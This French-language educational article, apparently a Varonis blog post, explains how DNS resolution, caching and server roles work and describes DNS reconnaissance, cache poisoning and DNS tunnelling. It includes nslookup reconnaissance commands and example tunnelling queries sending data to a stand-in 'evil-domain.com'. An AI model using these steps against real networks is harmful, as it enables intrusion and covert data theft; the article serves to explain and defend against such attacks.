Vous êtes sur la page 1sur 10

Qu’est-ce que le DNS, comment fonctionne-t-il et quelles sont ses

vulnérabilités ?

PAR

JE FF PE T T ER S

ET

ADR IE N R AHMAT I-GE OR GE S

MIS À JOUR  :   7/ 03/ 2019

Le Domain Name System (Système de noms de domaine – DNS) est la version Internet
des Pages jaunes. Dans le bon vieux temps, lorsque vous aviez besoin de trouver l’adresse
d’une entreprise, vous la recherchiez dans les Pages jaunes. C’est pareil avec le DNS, sauf
que vous n’avez pas vraiment besoin de rechercher quoi que ce soit : votre ordinateur, qui est
connecté à Internet, le fait pour vous. C’est ainsi que votre ordinateur sait comment
trouver Google, ou ESPN.com, ou Varonis.fr.
Pour que deux ordinateurs puissent communiquer sur un réseau IP, le protocole exige qu’ils
aient tous deux une adresse IP. Vous pouvez voir une adresse IP comme une adresse postale :
pour qu’un ordinateur puisse « localiser » un autre ordinateur, il doit en connaître l’adresse.
Comme la plupart des humains sont meilleurs pour retenir des noms – www.varonis.fr –
plutôt que des nombres – 104.196.44.111, ils ont besoin d’un programme informatique pour
traduire ces noms en adresses IP.
Le programme traduisant les noms en numéros, et inversement, est appelé « DNS », ou
Domain Name System, et les ordinateurs sur lesquels fonctionne un DNS sont appelés
« serveurs DNS. » Sans DNS, nous devrions nous rappeler l’adresse IP de tout serveur auquel
nous voulons nous connecter, ce qui serait particulièrement fastidieux.
Comment fonctionne le DNS
Le DNS fait partie intégrante d’Internet et il est important de comprendre son fonctionnement.

On peut voir le DNS comme un annuaire téléphonique, mais au lieu de faire correspondre les
noms des personnes avec leur adresse postale, cet annuaire fait correspondre des noms
d’ordinateurs avec des adresses IP. Chaque correspondance est appelée un « enregistrement
DNS. »

Internet comprenant un très grand nombre d’ordinateurs, cela n’aurait pas de sens de placer
tous ces enregistrements dans un seul très gros annuaire. Le DNS est plutôt organisé en
annuaires plus petits, appelés domaines. Les domaines pouvant être très vastes, ils sont eux-
mêmes organisés en annuaires plus petits, appelés « zones ».  Il n’existe pas de serveur DNS
unique qui stockerait tous les annuaires : cela serait irréalisable.

Au lieu de cela, nous avons un grand nombre de serveurs DNS qui stockent tous les
enregistrements DNS d’Internet. Tout ordinateur voulant connaître un numéro ou un nom peut
interroger son serveur DNS. Lorsque celui-ci a besoin d’un enregistrement, il sait comment
interroger d’autres serveurs DNS (en émettant une requête). Lorsqu’un serveur DNS interroge
d’autres serveurs DNS, il émet une requête « en amont ». Les demandes de domaine peuvent
circuler « en amont » jusqu’à remonter à l’autorité du domaine, ou « serveur de noms faisant
autorité ».

Le serveur de noms faisant autorité est celui où les administrateurs gèrent les noms de serveur
et les adresses IP de leurs domaines. Lorsqu’un administrateur de DNS veut ajouter, modifier
ou supprimer un nom de serveur ou une adresse IP, il effectue un changement sur son serveur
DNS faisant autorité (appelé parfois « serveur DNS maître »). On trouve également des
serveurs DNS « esclaves » qui détiennent des copies des enregistrements DNS pour leurs
zones et domaines.
Les quatre serveurs DNS qui chargent une page Web
 Le serveur DNS récursif (Resolving Name Server) : le serveur DNS
récursif répond à une requête DNS et demande l’adresse à d’autres serveurs
DNS, ou détient déjà un enregistrement de l’adresse IP du site.
 Serveur racine du DNS (Root Name Server) : il s’agit du serveur de noms
pour la zone racine. Il répond à des requêtes directes et peut renvoyer une liste
de noms de serveurs faisant autorité pour le domaine de haut niveau
correspondant.
 Serveur DNS TLD : le serveur TLD (top-level domain : domaine de
premier niveau) est l’un des serveurs DNS de haut niveau que l’on trouve sur
Internet. Lorsque vous recherchez www.varonis.com, un serveur TLD
répondra en premier pour le « .com », puis le DNS recherchera « varonis ».
 Serveur de noms faisant autorité (Authoritative Name Server) : le
serveur de noms faisant autorité constitue le terminus d’une requête DNS. Le
serveur de noms faisant autorité contient l’enregistrement DNS répondant à la
requête.
Types de service DNS
On trouve deux types de service DNS différents sur Internet. Chacun de ces services traite
différemment les requêtes DNS, selon leurs fonctions.
 Résolveur DNS récursif : un résolveur DNS récursif est un serveur DNS
qui répond à la requête et recherche le serveur de noms faisant autorité ou un
cache de DNS contenant le résultat de la requête.
 Serveur DNS faisant autorité : un serveur DNS faisant autorité contient le
résultat de la requête DNS. De ce fait, si vous demandez à un serveur DNS
faisant autorité l’une de ses adresses IP, celui-ci n’a pas besoin d’interroger un
autre serveur. Le serveur de noms faisant autorité est l’autorité finale en ce qui
concerne les noms et adresses IP.
DNS public et DNS privé
Le DNS a été créé pour permettre aux personnes de se connecter aux services disponibles sur
Internet.  Pour qu’un serveur soit accessible sur l’Internet public, il a besoin d’un
enregistrement DNS et son adresse IP doit être accessible sur Internet, ce qui signifie qu’il
n’est pas bloqué par un pare-feu. Les serveurs DNS publics sont accessibles à toute personne
pouvant s’y connecter et n’exigent aucune authentification.

Il est intéressant de noter que tous les enregistrements DNS ne sont pas publics. Aujourd’hui,
en plus de permettre à leurs employés d’utiliser le DNS pour naviguer sur Internet, les
organisations utilisent le DNS de façon à ce qu’ils puissent trouver des serveurs privés
internes. Lorsqu’une organisation souhaite garder confidentiels des noms de serveur et des
adresses IP, ou empêcher qu’ils ne soient directement accessibles par Internet, elle ne les
inscrit pas dans des serveurs DNS publics. Au lieu de cela, ces organisations les inscrivent
dans des serveurs DNS privés, ou internes. Il s’agit de serveurs DNS internes qui stockent les
noms et adresses IP des éléments importants de leur infrastructure, tels que les serveurs de
fichiers, les serveurs de messagerie, les contrôleurs de domaines, les serveurs de bases de
données, les serveurs d’applications, etc.

N’oubliez pas : comme les serveurs DNS externes, les serveurs DNS internes n’exigent pas
d’authentification. Cela est dû au fait que DNS a été créé il y a longtemps, lorsque la sécurité
posait beaucoup moins de problèmes. La plupart du temps, toute personne se trouvant à
l’intérieur du pare-feu, que ce soit par infiltration ou par connexion via VPN, est en mesure
d’interroger des serveurs DNS internes. La seule chose qui empêche une personne « externe »
d’accéder aux serveurs DNS internes et de les interroger est qu’elle ne peut pas s’y connecter
directement.

 DNS public : pour qu’un serveur soit accessible sur l’Internet public, il doit
avoir un enregistrement DNS public, et son adresse IP doit être accessible sur
Internet.
 DNS privé : les ordinateurs qui sont derrière un pare-feu ou dans un réseau
interne utilisent un enregistrement DNS privé qui permet aux ordinateurs
locaux de les identifier par leur nom. Les utilisateurs extérieurs, sur Internet,
ne pourront pas accéder directement à ces ordinateurs.

Les 7 étapes d’une recherche DNS


Examinons le déroulement précis d’une requête DNS.
1. Une requête DNS débute lorsque vous essayez d’accéder à un ordinateur sur
Internet. Par exemple, vous tapez www.varonis.com dans la barre d’adresse de
votre navigateur.
2. La première étape de la requête DNS est le cache du DNS local. Lorsque
vous accédez à différents ordinateurs, leur adresse IP est stockée dans un
référentiel local.  Si vous avez déjà visité www.varonis.com, l’adresse IP se
trouve dans votre cache.
3. Si l’adresse IP ne se trouve pas dans le cache de votre DNS local, le DNS va
consulter un serveur DNS récursif. Pour cela, votre équipe informatique ou
votre fournisseur d’accès Internet (ISP) fournit en général un serveur DNS
récursif.
4. Le serveur DNS récursif a son propre cache et, s’il contient l’adresse IP, il
vous l’enverra en retour. Si ce n’est pas le cas, il en fera la demande à un autre
serveur DNS.
5. L’étape suivante est constituée des serveurs de noms TLD, dans ce cas le
serveur de noms TLD pour les adresses en .com. Ces serveurs ne contiennent
pas l’adresse IP dont nous avons besoin, mais ils peuvent envoyer la requête
DNS dans la bonne direction.
6. Les serveurs de noms TLD connaissent l’emplacement du serveur de noms
ayant autorité pour le site recherché. Le serveur de noms ayant autorité répond
avec l’adresse IP de www.varonis.com et le serveur DNS récursif la stocke dans
le cache DNS local, puis l’envoie en retour vers votre ordinateur.
7. Votre service DNS local obtient l’adresse IP et se connecte
à www.varonis.com pour télécharger tout son (merveilleux) contenu. Le DNS
enregistre ensuite l’adresse IP dans le cache local, en lui associant une durée de
vie (TTL pour time-to-live). Le TTL est la durée de validité de l’enregistrement
DNS local. Lorsque ce délai sera expiré, et la prochaine fois que vous voudrez
accéder à varonis.com, le DNS suivra à nouveau le parcours que nous venons de
décrire.

Quels sont les types de requêtes DNS ?


Les requêtes DNS sont le code informatique qui indique aux serveurs DNS la nature de la
requête et les informations qui sont demandées. Une recherche DNS standard peut
correspondre à trois requêtes DNS de base.

 Requête récursive : dans une requête récursive, l’ordinateur demande une


adresse IP ou la confirmation que le serveur DNS ne connaît pas cette adresse
IP.
 Requête itérative : avec une requête itérative, on demande au serveur DNS
la meilleure réponse en sa possession. Si le serveur DNS n’a pas l’adresse IP,
il renverra le serveur de noms ayant autorité ou le serveur de noms TLD. Le
demandeur poursuivra son processus itératif jusqu’à ce qu’il obtienne une
réponse ou que le délai imparti expire.
 Requête non récursive : un résolveur DNS utilisera cette requête pour
trouver une adresse IP qu’il ne détient pas dans son propre cache. Pour limiter
l’utilisation de la bande passante réseau, celles-ci sont limitées à une seule
requête.

Qu’est-ce que le cache DNS + fonctions


de mise en cache ?
Le cache DNS est un référentiel de noms de domaine et d’adresses IP stockés sur un
ordinateur, et qui permet de ne pas avoir à demander une adresse IP à chaque fois. Imaginez
si, à chaque fois qu’un utilisateur tentait de se rendre sur www.varonis.com, le DNS devait
envoyer une requête aux serveurs de noms ayant autorité pour Varonis. Cela générerait un
trafic considérable ! La seule pensée de ce trafic explique le pourquoi de la mise en cache
DNS. La mise en cache DNS répond à deux objectifs majeurs :
 Accélérer les requêtes DNS
 Réduire la bande passante des requêtes DNS sur Internet
La méthodologie du cache DNS présente cependant certains problèmes :

 Les modifications de DNS nécessitent du temps pour se propager, ce qui fait


qu’il peut s’écouler un certain temps avant que le cache de l’ensemble des
serveurs DNS soit mis à jour avec les données IP les plus récentes.
 Le cache DNS est un vecteur d’attaque possible pour les pirates
Plusieurs types de mise en cache coexistent sur Internet :
 La mise en cache DNS du navigateur : les navigateurs modernes (2018)
intègrent une fonctionnalité de mise en cache. La résolution d’une requête
DNS avec le cache local est rapide et efficace.
 La mise en cache DNS du système d’exploitation : votre ordinateur est un
client DNS, et il contient un service qui gère les requêtes et la résolution DNS.
Ce cache DNS est également local : il est donc rapide et n’exige aucune bande
passante.
 La mise en cache DNS par résolution récursive : chaque DNS récursif a
son propre cache DNS, et il y stocke toutes les adresses IP dont il a
connaissance en vue de traiter les prochaines requêtes.

Faiblesses et vulnérabilités du DNS


Le DNS présente trois vulnérabilités majeures auxquelles il faut être attentif et que les pirates
exploitent fréquemment :

1. Les serveurs DNS internes détiennent tous les noms et adresses IP des
serveurs de leurs domaines et les partagent avec tout utilisateur qui en fait la
demande. Cela fait du DNS une précieuse source d’informations pour les pirates
cherchant à procéder à une reconnaissance interne.
2. Les caches DNS « ne font pas autorité » et ils peuvent être manipulés. Si
votre serveur DNS est « empoisonné » par de mauvais enregistrements, les
ordinateurs peuvent être dupés et envoyés dans une mauvaise direction.
3. Le DNS relaie les informations de requête depuis les stations de travail
internes vers les serveurs externes, et les pirates ont appris à exploiter ce
comportement pour créer des « canaux cachés » destinés à exfiltrer des données.

Utiliser le DNS pour le repérage


Lorsqu’un pirate est à l’intérieur d’un pare-feu et qu’il a pris le contrôle d’un ordinateur, il
peut utiliser le DNS pour trouver des noms de serveurs importants. Les pirates peuvent
chercher les noms associés à des adresses IP internes : serveurs de messagerie, serveurs de
noms et toutes sortes d’informations précieuses. S’ils sont assez astucieux, ils peuvent même
demander à un serveur DNS interne de leur envoyer un grand nombre d’informations sur les
zones de leur domaine. C’est ce qu’on appelle une « attaque par transfert de zone DNS ».
Si vous avez un ordinateur Windows, exécutez les commandes suivantes telles quelles. Si
vous êtes un utilisateur Linux, recherchez les commandes correspondantes.

1. Ouvrez une Invite de commande (tapez Ctrl + Echap, puis les lettres « cmd »
et Entrée).
2. Tapez ipconfig
3. Vous verrez alors le domaine DNS dans lequel vous vous trouvez (Suffixe
DNS propre à la connexion), votre adresse IP, et un tas d’autres informations. Il
se peut que vous ayez à vous référer ultérieurement à ces informations.
4. Tapez nslookup [adresse ip]. Vous verrez le nom du serveur DNS qui
répond et, si le nom est connu, l’enregistrement DNS listant le nom et l’adresse
IP.
5. nslookup –type=soa [votre domaine] Cette commande renvoie votre serveur
DNS ayant autorité ; et comme ce serait pratique si vous essayiez d’infiltrer un
réseau.
6. nslookup –type=MX [votre domaine] Cette commande renvoie tous les
serveurs de messagerie de votre domaine local, juste au cas où vous voudriez les
pirater et que vous ne sachiez pas où ils se trouvent.
Utiliser les DNS pour rediriger le trafic
Souvenez-vous que lorsqu’un utilisateur tente d’accéder à un site Web, son ordinateur
demande à son serveur DNS l’adresse IP de ce site, ou son enregistrement DNS. Si le serveur
DNS a en cache une copie de cet enregistrement, il répond. Sinon, il envoie une requête à un
serveur DNS en « amont », relaie les résultats vers l’utilisateur et les met en cache pour la
prochaine fois.

Les pirates ont trouvé un moyen de trafiquer les réponses DNS ou de renvoyer des réponses
semblant provenir de serveurs DNS légitimes. Sans trop rentrer dans les détails techniques, ils
exploitent pour cela trois faiblesses du DNS :

1. Le DNS ne réalise qu’une validation très insuffisante des réponses provenant


des serveurs en amont. Les réponses doivent juste contenir le bon ID de
transaction, qui n’est un nombre sur 16 bits (de 0 à 65536). Tout comme il ne
faut pas tant de personnes que ça dans une pièce pour que deux d’entre elles
aient la même date d’anniversaire, deviner le bon ID est plus facile que vous ne
pourriez le penser.
2. Les serveurs DNS acceptant des réponses simultanées (ou quasi simultanées)
à leurs requêtes, cela permet aux pirates de réaliser de nombreux essais pour
trouver l’ID de la transaction (ce qui ressemble un peu à une attaque par force
brute pour trouver un mot de passe).
3. Les connexions IP utilisées par le DNS sont faciles à « falsifier ». Cela
signifie qu’un pirate peut envoyer du trafic vers un serveur DNS à partir d’un
ordinateur et faire croire qu’il provient d’un autre ordinateur, par exemple un
serveur DNS valide. Seuls certains types de connexions IP sont faciles à
falsifier, et il se trouve que le DNS en fait partie.
Si un pirate réussit à falsifier une réponse DNS, il peut créer un enregistrement empoisonné
dans le cache du serveur DNS destinataire. Mais en quoi cela aide-t-il les pirates ?

Voici un exemple : supposons qu’un pirate apprenne que votre organisation utilise une
application externe pour quelque chose d’important, par exemple la gestion des dépenses. Si
le pirate empoisonne le serveur DNS de votre organisation de façon à envoyer les utilisateurs
vers son propre serveur, tout ce qu’il a à faire est de créer une page de connexion paraissant
légitime pour que les utilisateurs y saisissent leurs données d’identification. Il peut même
relayer le trafic vers le serveur réel (agissant comme un « homme du milieu »), ce qui fait que
personne ne remarquera rien. Le pirate peut alors tenter d’utiliser ces données d’identification
sur d’autres systèmes, les vendre ou se contenter de triompher en poussant un rire
démoniaque.

Utiliser le DNS comme un canal caché


Supposons qu’un pirate soit parvenu à pénétrer un réseau (corp.com), à compromettre un hôte
ou deux, et à trouver des données sensibles qu’il désire exfiltrer. Comment peut-il le faire sans
déclencher la moindre alarme ? Les pirates utilisent pour cela une technique
appelée « tunneling DNS ». Ils mettent en place un domaine DNS sur Internet (evil-
domain.com, par exemple) et créent un serveur de noms ayant autorité. Puis, sur l’hôte
compromis, le pirate utilise un programme qui fractionne les données en petits morceaux qu’il
insère dans une série de requêtes DNS telles que :
 nslookup My1secret1.evil-domain.com
 nslookup is1that1I1know.evil-domain.com
 nsllookup how2steal1data.evil-domain.com
Le serveur DNS de corp.com recevra ces requêtes, déterminera que son cache ne contient pas
les résultats et relaiera les requêtes vers le serveur de noms ayant autorité pour evil-
domain.com. Le pirate attend ce trafic, et il exécutera sur son serveur de noms ayant autorité
un programme qui extraira la première partie de la requête (tout ce qui précède evil-
domain.com), puis réassemblera les morceaux. Si l’organisation ne vérifie pas les requêtes
envoyées par ses serveurs DNS, il se peut qu’elle ne se rende jamais compte qu’ils ont été
utilisés pour exfiltrer des données.

Le DNS existe depuis longtemps, et tout ordinateur connecté à Internet s’appuie sur lui. Les
pirates utilisent maintenant le DNS à la fois pour des reconnaissances externes et internes,
pour détourner le trafic et pour créer des canaux de communication cachés. Heureusement,
en surveillant les serveurs DNS et en réalisant des analyses de sécurité, un grand nombre de
ces attaques peuvent être détectées et contrecarrées.